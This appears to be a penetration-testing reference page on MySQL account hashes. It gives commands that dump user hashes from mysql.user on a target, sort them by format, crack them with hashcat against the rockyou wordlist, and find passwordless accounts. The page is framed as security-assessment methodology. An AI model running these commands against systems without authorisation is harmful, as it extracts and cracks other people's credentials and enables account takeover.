# MySQL Weak Password Hash Detection

- **URL:** https://hackindex.io/services/mysql/vulnerability-discovery/mysql-weak-password-hash-detection
- **Path:** MySQL > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/mysql/vulnerability-discovery.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

MySQL stores account credentials as hashes in the `mysql.user` system table. The hash format depends on the authentication plugin in use. `mysql_native_password` uses a double SHA1 hash that is fast to crack and has well-known weaknesses. `caching_sha2_password` uses SHA256 which is stronger but still crackable offline. Empty password hashes are immediately exploitable without cracking. Identifying the hash type and extracting hashes for offline cracking is possible from any account with SELECT access to mysql.user, which is typically limited to privileged accounts but worth checking whenever access is obtained.

## Check Access to mysql.user

First confirm whether the current account can read the user table:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT user, host, plugin, authentication_string FROM mysql.user;"
# +------------------+-----------+-----------------------+-------------------------------------------+
# | user             | host      | plugin                | authentication_string                     |
# +------------------+-----------+-----------------------+-------------------------------------------+
# | root             | localhost | caching_sha2_password | $A$005$randomsalt...hashedvalue           |
# | app_user         | %         | mysql_native_password | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
# | backup           | localhost | mysql_native_password | *                                         |
# +------------------+-----------+-----------------------+-------------------------------------------+
```

Three things to note from the output:

- Accounts with `plugin = mysql_native_password` and a hash starting with `*` followed by 40 hex characters are double SHA1 hashes: the fastest MySQL hash format to crack.
- Accounts where `authentication_string` is empty or just `*` have no password set and are directly accessible.
- Accounts with `plugin = caching_sha2_password` use SHA256: slower to crack but still worth extracting for offline attempts.

## MySQL Password Hash Detection and Extraction

Extract all hashes in a format suitable for hashcat:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT user, authentication_string FROM mysql.user WHERE authentication_string != '' AND authentication_string != '*';" --batch --silent > /tmp/mysql-hashes.txt
```

```bash
cat /tmp/mysql-hashes.txt
# root	$A$005$randomsalt...hashedvalue
# app_user	*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
```

## Identify Hash Types for Hashcat

Match the hash format to the correct hashcat mode:

- `mysql_native_password` hashes start with `*` followed by 40 hex chars: hashcat mode `300`
- `caching_sha2_password` hashes start with `$A$`: hashcat mode `7401`
- Old pre-4.1 MySQL hashes are 16 hex characters: hashcat mode `200` (rare, legacy only)

```bash
grep '\*' /tmp/mysql-hashes.txt | awk '{print $2}' > /tmp/mysql-native-hashes.txt
hashcat -m 300 /tmp/mysql-native-hashes.txt /usr/share/wordlists/rockyou.txt
```

```bash
grep '\$A\$' /tmp/mysql-hashes.txt | awk '{print $2}' > /tmp/mysql-sha2-hashes.txt
hashcat -m 7401 /tmp/mysql-sha2-hashes.txt /usr/share/wordlists/rockyou.txt
```

## Identify Accounts with No Password

Flag accounts where the authentication string is empty or represents no credential:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT user, host, plugin FROM mysql.user WHERE authentication_string = '' OR authentication_string = '*';"
# +--------+-----------+-----------------------+
# | user   | host      | plugin                |
# +--------+-----------+-----------------------+
# | backup | localhost | mysql_native_password |
# +--------+-----------+-----------------------+
```

Any account with an empty authentication string is directly accessible without a password. Even accounts restricted to localhost are reachable if you have any local code execution on the host. Hash extraction and offline cracking is covered in the exploitation phase.

## References

- [Hashcat: documentation](https://hashcat.net/wiki/doku.php?id=hashcat) - Mode 300 for mysql_native_password and mode 7401 for caching_sha2_password
- [MySQL: Pluggable Authentication](https://dev.mysql.com/doc/refman/8.0/en/pluggable-authentication.html) - Authentication plugin types, hash formats, and caching_sha2_password reference
